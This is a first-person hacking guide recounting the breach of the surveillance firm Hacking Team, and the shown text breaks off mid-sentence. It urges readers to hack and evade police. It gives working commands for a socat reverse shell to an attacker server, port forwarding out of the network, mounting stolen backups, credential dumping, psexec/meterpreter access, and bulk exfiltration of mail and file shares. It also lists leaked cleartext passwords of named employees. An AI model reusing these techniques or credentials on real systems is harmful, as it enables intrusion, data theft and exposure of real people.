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                |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
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                                   A DIY Guide
 
 
 
                                  ,-._,-._
                               _,-\  o O_/;
                              / ,  `     `|
                              | \-.,___,  /   `
                               \ `-.__/  /    ,.\
                              / `-.__.-\`   ./   \'
                             / /|    ___\ ,/      `\
                            ( ( |.-"`   '/\         \  `
                             \ \/      ,,  |          \ _
                              \|     o/o   /           \.
                               \        , /             /
                               ( __`;-;'__`)            \\
                               `//'`   `||`              `\
                              _//       ||           __   _   _ _____   __
                      .-"-._,(__)     .(__).-""-.      | | | | |_   _| |
                     /          \    /           \     | | |_| | | |   |
                     \          /    \           /     | |  _  | | |   |
                      `'-------`      `--------'`    __| |_| |_| |_|   |__
                                #antisec
 
 
 
 --[ 1 - Introduction ]----------------------------------------------------------
 
 You'll notice the change in language since the last edition [1]. The
 English-speaking world already has tons of books, talks, guides, and
 info about hacking. In that world, there's plenty of hackers better than me,
 but they misuse their talents working for "defense" contractors, for intelligence
 agencies, to protect banks and corporations, and to defend the status quo.
 Hacker culture was born in the US as a counterculture, but that origin only
 remains in its aesthetics - the rest has been assimilated. At least they can
 wear a t-shirt, dye their hair blue, use their hacker names, and feel like
 rebels while they work for the Man.
 
 You used to have to sneak into offices to leak documents [2]. You used to need
 a gun to rob a bank. Now you can do both from bed with a laptop in hand [3][4].
 Like the CNT said after the Gamma Group hack: "Let's take a step forward with
 new forms of struggle" [5]. Hacking is a powerful tool, let's learn and fight!
 
 [1] http://pastebin.com/raw.php?i=cRYvK4jb
 [2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
 [3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html
 [4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
 [5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group
 
 
 --[ 2 - Hacking Team ]----------------------------------------------------------
 
 Hacking Team was a company that helped governments hack and spy on
 journalists, activists, political opposition, and other threats to their power
 [1][2][3][4][5][6][7][8][9][10][11]. And, occasionally, on actual criminals
 and terrorists [12]. Vincenzetti, the CEO, liked to end his emails with the
 fascist slogan "boia chi molla". It'd be more correct to say "boia chi vende
 RCS". They also claimed to have technology to solve the "problem" posed by Tor
 and the darknet [13]. But seeing as I'm still free, I have my doubts about
 its effectiveness.
 
 [1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
 [2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
 [3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
 [4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
 [5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
 [6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
 [7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
 [8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
 [9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
 [10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
 [11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
 [12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
 [13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web
 
 
 --[ 3 - Stay safe out there ]---------------------------------------------------
 
 Unfortunately, our world is backwards. You get rich by doing bad things and go
 to jail for doing good. Fortunately, thanks to the hard work of people like
 the Tor project [1], you can avoid going to jail by taking a few simple
 precautions:
 
 1) Encrypt your hard disk [2]
 
    I guess when the police arrive to seize your computer, it means you've
    already made a lot of mistakes, but it's better to be safe.
 
 2) Use a virtual machine with all traffic routed through Tor
 
    This accomplishes two things. First, all your traffic is anonymized through
    Tor. Second, keeping your personal life and your hacking on separate
    computers helps you not to mix them by accident.
 
    You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or
    something custom [6]. Here's [7] a detailed comparison.
 
 3) (Optional) Don't connect directly to Tor
 
    Tor isn't a panacea. They can correlate the times you're connected to Tor
    with the times your hacker handle is active. Also, there have been
    successful attacks against Tor [8]. You can connect to Tor using other
    peoples' wifi. Wifislax [9] is a linux distro with a lot of tools for
    cracking wifi. Another option is to connect to a VPN or a bridge node [10]
    before Tor, but that's less secure because they can still correlate the
    hacker's activity with your house's internet activity (this was used as
    evidence against Jeremy Hammond [11]).
 
    The reality is that while Tor isn't perfect, it works quite well. When I
    was young and reckless, I did plenty of stuff without any protection (I'm
    referring to hacking) apart from Tor, that the police tried their hardest
    to investigate, and I've never had any problems.
 
 [1] https://www.torproject.org/
 [2] https://info.securityinabox.org/es/chapter-4
 [3] https://www.whonix.org/
 [4] https://tails.boum.org/
 [5] https://www.qubes-os.org/doc/privacy/torvm/
 [6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
 [7] https://www.whonix.org/wiki/Comparison_with_Others
 [8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
 [9] http://www.wifislax.com/
 [10] https://www.torproject.org/docs/bridges.html.en
 [11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html
 
 
 ----[ 3.1 - Infrastructure ]----------------------------------------------------
 
 I don't hack directly from Tor exit nodes. They're on blacklists, they're
 slow, and they can't receive connect-backs. Tor protects my anonymity while I
 connect to the infrastructure I use to hack, which consists of:
 
 1) Domain Names
 
    For C&C addresses, and for DNS tunnels for guaranteed egress.
 
 2) Stable Servers
 
    For use as C&C servers, to receive connect-back shells, to launch attacks,
    and to store the loot.
 
 3) Hacked Servers
 
    For use as pivots to hide the IP addresses of the stable servers. And for
    when I want a fast connection without pivoting, for example to scan ports,
    scan the whole internet, download a database with sqli, etc.
 
 Obviously, you have to use an anonymous payment method, like bitcoin (if it's
 used carefully).
 
 
 ----[ 3.2 - Attribution ]-------------------------------------------------------
 
 In the news we often see attacks traced back to government-backed hacking
 groups ("APTs"), because they repeatedly use the same tools, leave the same
 footprints, and even use the same infrastructure (domains, emails, etc).
 They're negligent because they can hack without legal consequences.
 
 I didn't want to make the police's work any easier by relating my hack of
 Hacking Team with other hacks I've done or with names I use in my day-to-day
 work as a blackhat hacker. So, I used new servers and domain names, registered
 with new emails, and payed for with new bitcoin addresses. Also, I only used
 tools that are publicly available, or things that I wrote specifically for
 this attack, and I changed my way of doing some things to not leave my usual
 forensic footprint.
 
 
 --[ 4 - Information Gathering ]-------------------------------------------------
 
 Although it can be tedious, this stage is very important, since the larger the
 attack surface, the easier it is to find a hole somewhere in it.
 
 
 ----[ 4.1 - Technical Information ]---------------------------------------------
 
 Some tools and techniques are:
 
 1) Google
 
    A lot of interesting things can be found with a few well-chosen search
    queries. For example, the identity of DPR [1]. The bible of Google hacking
    is the book "Google Hacking for Penetration Testers". You can find a short
    summary in Spanish at [2].
 
 2) Subdomain Enumeration
 
    Often, a company's main website is hosted by a third party, and you'll find
    the company's actual IP range thanks to subdomains like mx.company.com or
    ns1.company.com. Also, sometimes there are things that shouldn't be exposed
    in "hidden" subdomains. Useful tools for discovering domains and subdomains
    are fierce [3], theHarvester [4], and recon-ng [5].
 
 3) Whois lookups and reverse lookups
 
    With a reverse lookup using the whois information from a domain or IP range
    of a company, you can find other domains and IP ranges. As far as I know,
    there's no free way to do reverse lookups aside from a google "hack":
 
    "via della moscova 13" site:www.findip-address.com
    "via della moscova 13" site:domaintools.com
 
 4) Port scanning and fingerprinting
 
    Unlike the other techniques, this talks to the company's servers. I
    include it in this section because it's not an attack, it's just
    information gathering. The company's IDS might generate an alert, but you
    don't have to worry since the whole internet is being scanned constantly.
 
    For scanning, nmap [6] is precise, and can fingerprint the majority of
    services discovered. For companies with very large IP ranges, zmap [7] or
    masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can fingerprint web
    sites.
 
 [1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
 [2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
 [3] http://ha.ckers.org/fierce/
 [4] https://github.com/laramies/theHarvester
 [5] https://bitbucket.org/LaNMaSteR53/recon-ng
 [6] https://nmap.org/
 [7] https://zmap.io/
 [8] https://github.com/robertdavidgraham/masscan
 [9] http://www.morningstarsecurity.com/research/whatweb
 [10] http://blindelephant.sourceforge.net/
 
 
 ----[ 4.2 - Social Information ]------------------------------------------------
 
 For social engineering, it's useful to have information about the employees,
 their roles, contact information, operating system, browser, plugins,
 software, etc. Some resources are:
 
 1) Google
 
    Here as well, it's the most useful tool.
 
 2) theHarvester and recon-ng
 
    I already mentioned them in the previous section, but they have a lot more
    functionality. They can find a lot of information quickly and
    automatically. It's worth reading all their documentation.
 
 3) LinkedIn
 
    A lot of information about the employees can be found here. The company's
    recruiters are the most likely to accept your connection requests.
 
 4) Data.com
 
    Previously known as jigsaw. They have contact information for many
    employees.
 
 5) File Metadata
 
    A lot of information about employees and their systems can be found in
    metadata of files the company has published. Useful tools for finding
    files on the company's website and extracting the metadata are metagoofil
    [1] and FOCA [2].
 
 [1] https://github.com/laramies/metagoofil
 [2] https://www.elevenpaths.com/es/labstools/foca-2/index.html
 
 
 --[ 5 - Entering the network ]--------------------------------------------------
 
 There are various ways to get a foothold. Since the method I used against
 Hacking Team is uncommon and a lot more work than is usually necessary, I'll
 talk a little about the two most common ways, which I recommend trying first.
 
 
 ----[ 5.1 - Social Engineering ]------------------------------------------------
 
 Social engineering, specifically spear phishing, is responsible for the
 majority of hacks these days. For an introduction in Spanish, see [1]. For
 more information in English, see [2] (the third part, "Targeted Attacks"). For
 fun stories about the social engineering exploits of past generations, see
 [3]. I didn't want to try to spear phish Hacking Team, as their whole business
 is helping governments spear phish their opponents, so they'd be much more
 likely to recognize and investigate a spear phishing attempt.
 
 [1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
 [2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
 [3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf
 
 
 ----[ 5.2 - Buying Access ]-----------------------------------------------------
 
 Thanks to hardworking Russians and their exploit kits, traffic sellers, and
 bot herders, many companies already have compromised computers in their
 networks. Almost all of the Fortune 500, with their huge networks, have some
 bots already inside. However, Hacking Team is a very small company, and most
 of it's employees are infosec experts, so there was a low chance that they'd
 already been compromised.
 
 
 ----[ 5.3 - Technical Exploitation ]--------------------------------------------
 
 After the Gamma Group hack, I described a process for searching for
 vulnerabilities [1]. Hacking Team had one public IP range:
 inetnum:        93.62.139.32 - 93.62.139.47
 descr:          HT public subnet
 
 Hacking Team had very little exposed to the internet. For example, unlike
 Gamma Group, their customer support site needed a client certificate to
 connect. What they had was their main website (a Joomla blog in which Joomscan
 [2] didn't find anything serious), a mail server, a couple routers, two VPN
 appliances, and a spam filtering appliance. So, I had three options: look for
 a 0day in Joomla, look for a 0day in postfix, or look for a 0day in one of the
 embedded devices. A 0day in an embedded device seemed like the easiest option,
 and after two weeks of work reverse engineering, I got a remote root exploit.
 Since the vulnerabilities still haven't been patched, I won't give more
 details, but for more information on finding these kinds of vulnerabilities,
 see [3] and [4].
 
 [1] http://pastebin.com/raw.php?i=cRYvK4jb
 [2] http://sourceforge.net/projects/joomscan/
 [3] http://www.devttys0.com/
 [4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A
 
 
 --[ 6 - Be Prepared ]-----------------------------------------------------------
 
 I did a lot of work and testing before using the exploit against Hacking Team.
 I wrote a backdoored firmware, and compiled various post-exploitation tools
 for the embedded device. The backdoor serves to protect the exploit. Using the
 exploit just once and then returning through the backdoor makes it harder to
 identify and patch the vulnerabilities.
 
 The post-exploitation tools that I'd prepared were:
 
 1) busybox
 
    For all the standard Unix utilities that the system didn't have.
 
 2) nmap
 
    To scan and fingerprint Hacking Team's internal network.
 
 3) Responder.py
 
    The most useful tool for attacking windows networks when you have access to
    the internal network, but no domain user.
 
 4) Python
 
    To execute Responder.py
 
 5) tcpdump
 
    For sniffing traffic.
 
 6) dsniff
 
    For sniffing passwords from plaintext protocols like ftp, and for
    arpspoofing. I wanted to use ettercap, written by Hacking Team's own ALoR
    and NaGA, but it was hard to compile it for the system.
 
 7) socat
 
    For a comfortable shell with a pty:
    my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
    hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \
 		  tcp:my_server:my_port
 
    And useful for a lot more, it's a networking swiss army knife. See the
    examples section of its documentation.
 
 8) screen
 
    Like the shell with pty, it wasn't really necessary, but I wanted to feel
    at home in Hacking Team's network.
 
 9) a SOCKS proxy server
 
    To use with proxychains to be able to access their local network from any
    program.
 
 10) tgcd
 
    For forwarding ports, like for the SOCKS server, through the firewall.
 
 [1] https://www.busybox.net/
 [2] https://nmap.org/
 [3] https://github.com/SpiderLabs/Responder
 [4] https://github.com/bendmorris/static-python
 [5] http://www.tcpdump.org/
 [6] http://www.monkey.org/~dugsong/dsniff/
 [7] http://www.dest-unreach.org/socat/
 [8] https://www.gnu.org/software/screen/
 [9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
 [10] http://tgcd.sourceforge.net/
 
 
 The worst thing that could happen would be for my backdoor or post-exploitation
 tools to make the system unstable and cause an employee to investigate. So I
 spent a week testing my exploit, backdoor, and post-exploitation tools in the
 networks of other vulnerable companies before entering Hacking Team's network.
 
 
 --[ 7 - Watch and Listen ]------------------------------------------------------
 
 Now inside their internal network, I wanted to take a look around and think
 about my next step. I started Responder.py in analysis mode (-A to listen
 without sending poisoned responses), and did a slow scan with nmap.
 
 
 --[ 8 - NoSQL Databases ]-------------------------------------------------------
 
 NoSQL, or rather NoAuthentication, has been a huge gift to the hacker
 community [1]. Just when I was worried that they'd finally patched all of the
 authentication bypass bugs in MySQL [2][3][4][5], new databases came into
 style that lack authentication by design. Nmap found a few in Hacking Team's
 internal network:
 
 27017/tcp open  mongodb       MongoDB 2.6.5
 | mongodb-databases:
 |   ok = 1
 |   totalSizeMb = 47547
 |   totalSize = 49856643072
 ...
 |_    version = 2.6.5
 
 27017/tcp open  mongodb       MongoDB 2.6.5
 | mongodb-databases:
 |   ok = 1
 |   totalSizeMb = 31987
 |   totalSize = 33540800512
 |   databases
 ...
 |_    version = 2.6.5
 
 They were the databases for test instances of RCS. The audio that RCS records
 is stored in MongoDB with GridFS. The audio folder in the torrent [6] came
 from this. They were spying on themselves without meaning to.
 
 [1] https://www.shodan.io/search?query=product%3Amongodb
 [2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
 [3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
 [4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
 [5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
 [6] https://ht.transparencytoolkit.org/audio/
 
 
 --[ 9 - Crossed Cables ]--------------------------------------------------------
 
 Although it was fun to listen to recordings and see webcam images of Hacking
 Team developing their malware, it wasn't very useful. Their insecure backups
 were the vulnerability that opened their doors. According to their
 documentation [1], their iSCSI devices were supposed to be on a separate
 network, but nmap found a few in their subnetwork 192.168.1.200/24:
 
 Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
 ...
 3260/tcp open  iscsi?
 | iscsi-info:
 |   Target: iqn.2000-01.com.synology:ht-synology.name
 |     Address: 192.168.200.66:3260,0
 |_    Authentication: No authentication required
 
 Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
 ...
 3260/tcp open  iscsi?
 | iscsi-info:
 |   Target: iqn.2000-01.com.synology:synology-backup.name
 |     Address: 10.0.1.72:3260,0
 |     Address: 192.168.200.72:3260,0
 |_    Authentication: No authentication required
 
 iSCSI needs a kernel module, and it would've been difficult to compile it for
 the embedded system. I forwarded the port so that I could mount it from a VPS:
 
 VPS: tgcd -L -p 3260 -q 42838
 Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
 
 VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
 
 Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it
 because it thinks its IP is 192.168.200.72 instead of 127.0.0.1
 
 The way I solved it was:
 iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
 
 And now, after:
 iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login
 
 ...the device file appears! We mount it:
 vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
 
 and find backups of various virtual machines. The Exchange server seemed like
 the most interesting. It was too big too download, but it was possible to
 mount it remotely to look for interesting files:
 $ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
 $ fdisk -l /dev/loop0
 /dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT
 
 so the offset is 2048 * 512 = 1048576
 $ losetup -o 1048576 /dev/loop1 /dev/loop0
 $ mount -o ro /dev/loop1 /mnt/exchange/
 
 now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
 we find the hard disk of the VM, and mount it:
 vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
 mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
 
 ...and finally we've unpacked the Russian doll and can see all the files from
 the old Exchange server in /mnt/part1
 
 [1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf
 
 
 --[ 10 - From backups to domain admin ]-----------------------------------------
 
 What interested me most in the backup was seeing if it had a password or hash
 that could be used to access the live server. I used pwdump, cachedump, and
 lsadump [1] on the registry hives. lsadump found the password to the besadmin
 service account:
 
 _SC_BlackBerry MDS Connection Service
 0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
 0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.
 0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........
 
 I used proxychains [2] with the socks server on the embedded device and
 smbclient [3] to check the password:
 proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
 
 It worked! The password for besadmin was still valid, and a local admin. I
 used my proxy and metasploit's psexec_psh [4] to get a meterpreter session.
 Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest", and
 got a bunch of passwords, including the Domain Admin:
 
 HACKINGTEAM  BESAdmin       bes32678!!!
 HACKINGTEAM  Administrator  uu8dd8ndd12!
 HACKINGTEAM  c.pozzi        P4ssword      <---- lol great sysadmin
 HACKINGTEAM  m.romeo        ioLK/(90
 HACKINGTEAM  l.guerra       4luc@=.=
 HACKINGTEAM  d.martinez     W4tudul3sp
 HACKINGTEAM  g.russo        GCBr0s0705!
 HACKINGTEAM  a.scarafile    Cd4432996111
 HACKINGTEAM  r.viscardi     Ht2015!
 HACKINGTEAM  a.mino         A!e$$andra
 HACKINGTEAM  m.bettini      Ettore&Bella0314
 HACKINGTEAM  m.luppi        Blackou7
 HACKINGTEAM  s.gallucci     1S9i8m4o!
 HACKINGTEAM  d.milan        set!dob66
 HACKINGTEAM  w.furlan       Blu3.B3rry!
 HACKINGTEAM  d.romualdi     Rd13136f@#
 HACKINGTEAM  l.invernizzi   L0r3nz0123!
 HACKINGTEAM  e.ciceri       2O2571&2E
 HACKINGTEAM  e.rabe         erab@4HT!
 
 [1] https://github.com/Neohapsis/creddump7
 [2] http://proxychains.sourceforge.net/
 [3] https://www.samba.org/
 [4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
 [5] https://github.com/gentilkiwi/mimikatz
 
 
 --[ 11 - Downloading the mail ]-------------------------------------------------
 
 With the Domain Admin password, I have access to the email, the heart of the
 company. Since with each step I take there's a chance of being detected, I
 start downloading their email before continuing to explore. Powershell makes
 it easy [1]. Curiously, I found a bug with Powershell's date handling. After
 downloading the emails, it took me another couple weeks to get access to the
 source code and everything else, so I returned every now and then to download
 the new emails. The server was Italian, with dates in the format
 day/month/year. I used:
 -ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}
 
 with New-MailboxExportRequest to download the new emails (in this case all
 mail since June 5). The problem is it says the date is invalid if you
 try a day larger than 12 (I imagine because in the US the month comes first
 and you can't have a month above 12). It seems like Microsoft's engineers only
 test their software with their own locale.
 
 [1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/
 
 
 --[ 12 - Downloading Files ]----------------------------------------------------
 
 Now that I'd gotten Domain Admin, I started to download file shares using my
 proxy and the -Tc option of smbclient, for example:
 
 proxychains smbclient '//192.168.1.230/FAE DiskStation' \
     -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'
 
 I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in
 the torrent like that.
 
 
 --[ 13 - Introduction to hacking windows domains ]------------------------------
 
 Before continuing with the story of the "weones culiaos" (Hacking Team), I
 should give some general knowledge for hacking windows networks.
 
 
 ----[ 13.1 - Lateral Movement ]-------------------------------------------------
 
 I'll give a brief review of the different techniques for spreading withing a
 windows network. The techniques for remote execution require the password or
 hash of a local admin on the target. By far, the most common way of obtaining
 those credentials is using mimikatz [1], especially sekurlsa::logonpasswords
 and sekurlsa::msv, on the computers where you already have admin access. The
 techniques for "in place" movement also require administrative privileges
 (except for runas). The most important tools for privilege escalation are
 PowerUp [2], and bypassuac [3].
 
 [1] https://adsecurity.org/?page_id=1821
 [2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
 [3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1
 
 
 Remote Movement:
 
 1) psexec
 
    The tried and true method for lateral movement on windows. You can use
    psexec [1], winexe [2], metasploit's psexec_psh [3], Powershell Empire's
    invoke_psexec [4], or the builtin windows command "sc" [5]. For the
    metasploit module, powershell empire, and pth-winexe [6], you just need the
    hash, not the password. It's the most universal method (it works on any
    windows computer with port 445 open), but it's also the least stealthy.
    Event type 7045 "Service Control Manager" will appear in the event logs. In
    my experience, no one has ever noticed during a hack, but it helps the
    investigators piece together what the hacker did afterwards.
 
 2) WMI
 
    The most stealthy method. The WMI service is enabled on all windows
    computers, but except for servers, the firewall blocks it by default. You
    can use wmiexec.py [7], pth-wmis [6] (here's a demonstration of wmiexec and
    pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the windows builtin
    wmic [5]. All except wmic just need the hash.
 
 3) PSRemoting [10]
 
    It's disabled by default, and I don't recommend enabling new protocols.
    But, if the sysadmin has already enabled it, it's very convenient,
    especially if you use powershell for everything (and you should use
    powershell for almost everything, it will change [11] with powershell 5 and
    windows 10, but for now powershell makes it easy to do everything in RAM,
    avoid AV, and leave a small footprint)
 
 4) Scheduled Tasks
 
    You can execute remote programs with at and schtasks [5]. It works in the
    same situations where you could use psexec, and it also leaves a well known
    footprint [12].
 
 5) GPO
 
    If all those protocols are disabled or blocked by the firewall, once you're
    Domain Admin, you can use GPO to give users a login script, install an msi,
    execute a scheduled task [13], or, like we'll see with the computer of
    Mauro Romeo (one of Hacking Team's sysadmins), use GPO to enable WMI and
    open the firewall.
 
 [1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
 [2] https://sourceforge.net/projects/winexe/
 [3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
 [4] http://www.powershellempire.com/?page_id=523
 [5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
 [6] https://github.com/byt3bl33d3r/pth-toolkit
 [7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
 [8] https://www.trustedsec.com/june-2015/no_psexec_needed/
 [9] http://www.powershellempire.com/?page_id=124
 [10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
 [11] https://adsecurity.org/?p=2277
 [12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
 [13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py
 
 
 "In place" Movement:
 
 1) Token Stealing
 
    Once you have admin access on a computer, you can use the tokens of the
    other users to access resources in the domain. Two tools for doing this are
    incognito [1] and the mimikatz token::* commands [2].
 
 2) MS14-068
 
    You can take advantage of a validation bug in Kerberos to generate Domain
    Admin tickets [3][4][5].
 
 3) Pass the Hash
 
    If you have a user's hash, but they're not logged in, you can use
    sekurlsa::pth [2] to get a ticket for the user.
 
 4) Process Injection
 
    Any RAT can inject itself into other processes. For example, the migrate
    command in meterpreter and pupy [6], or the psinject [7] command in
    powershell empire. You can inject into the process that has the token you
    want.
 
 5) runas
 
    This is sometimes very useful since it doesn't require admin privileges.
    The command is part of windows, but if you don't have a GUI you can use
    powershell [8].
 
 [1] https://www.indetectables.net/viewtopic.php?p=211165
 [2] https://adsecurity.org/?page_id=1821
 [3] https://github.com/bidord/pykek
 [4] https://adsecurity.org/?p=676
 [5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
 [6] https://github.com/n1nj4sec/pupy
 [7] http://www.powershellempire.com/?page_id=273
 [8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1
 
 
 ----[ 13.2 - Persistence ]------------------------------------------------------
 
 Once you have access, you want to keep it. Really, persistence is only a
 challenge for assholes like Hacking Team who target activists and other
 individuals. To hack companies, persistence isn't needed since companies never
 sleep. I always use Duqu 2 style "persistence", executing in RAM on a couple
 high-uptime servers. On the off chance that they all reboot at the same time,
 I have passwords and a golden ticket [1] as backup access. You can read more
 about the different techniques for persistence in windows here [2][3][4]. But
 for hacking companies, it's not needed and it increases the risk of detection.
 
 [1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
 [2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
 [3] http://www.hexacorn.com/blog/category/autostart-persistence/
 [4] https://blog.netspi.com/tag/persistence/
 
 
 ----[ 13.3 - Internal reconnaissance ]------------------------------------------
 
 The best tool these days for understanding windows networks is Powerview [1].
 It's worth reading everything written by it's author [2], especially [3], [4],
 [5], and [6]. Powershell itself is also quite powerful [7]. As there are still
 many windows 2000 and 2003 servers without powershell, you also have to learn
 the old school [8], with programs like netview.exe [9] or the windows builtin
 "net view". Other techniques that I like are:
 
 1) Downloading a list of file names
 
    With a Domain Admin account, you can download a list of all filenames in
    the network with powerview:
 
    Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
    select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
    select fullname | out-file -append files.txt}
 
    Later, you can read it at your leisure and choose which files to download.
 
 2) Reading email
 
    As we've already seen, you can download email with powershell, and it has a
    lot of useful information.
 
 3) Reading sharepoint
 
    It's another place where many businesses store a lot of important
    information. It can also be downloaded with powershell [10].
 
 4) Active Directory [11]
 
    It has a lot of useful information about users and computers. Without being
    Domain Admin, you can already get a lot of info with powerview and other
    tools [12]. After getting Domain Admin, you should export all the AD
    information with csvde or another tool.
 
 5) Spy on the employees
 
    One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi
    (one of Hacking Team's sysadmins) gave me access to a Nagios server which
    gave me access to the rete sviluppo (development network with the source
    code of RCS). With a simple combination of Get-Keystrokes and
    Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang
    [14], and GPO, you can spy on any employee, or even on the whole domain.
 
 [1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
 [2] http://www.harmj0y.net/blog/tag/powerview/
 [3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
 [4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
 [5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
 [6] http://www.slideshare.net/harmj0y/i-have-the-powerview
 [7] https://adsecurity.org/?p=2535
 [8] https://www.youtube.com/watch?v=rpwrKhgMd7E
 [9] https://github.com/mubix/netview
 [10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
 [11] https://adsecurity.org/?page_id=41
 [12] http://www.darkoperator.com/?tag=Active+Directory
 [13] https://github.com/PowerShellMafia/PowerSploit
 [14] https://github.com/samratashok/nishang
 
 
 --[ 14 - Hunting Sysadmins ]----------------------------------------------------
 
 Reading their documentation about their infrastructure [1], I saw that I was
 still missing access to something important - the "Rete Sviluppo", an isolated
 network with the source code for RCS. The sysadmins of a company always have
 access to everything, so I searched the computers of Mauro Romeo and Christian
 Pozzi to see how they administer the Sviluppo network, and to see if there
 were any other interesting systems I should investigate. It was simple to
 access their computers, since they were part of the windows domain where I'd
 already gotten admin access. Mauro Romeo's computer didn't have any ports
 open, so I opened the port for WMI [2] and executed meterpreter [3]. In
 addition to keylogging and screen scraping with Get-Keystrokes and
 Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1
 [4], and searched for interesting files [5]. Upon seeing that Pozzi had a
 Truecrypt volume, I waited until he'd mounted it and then copied off the
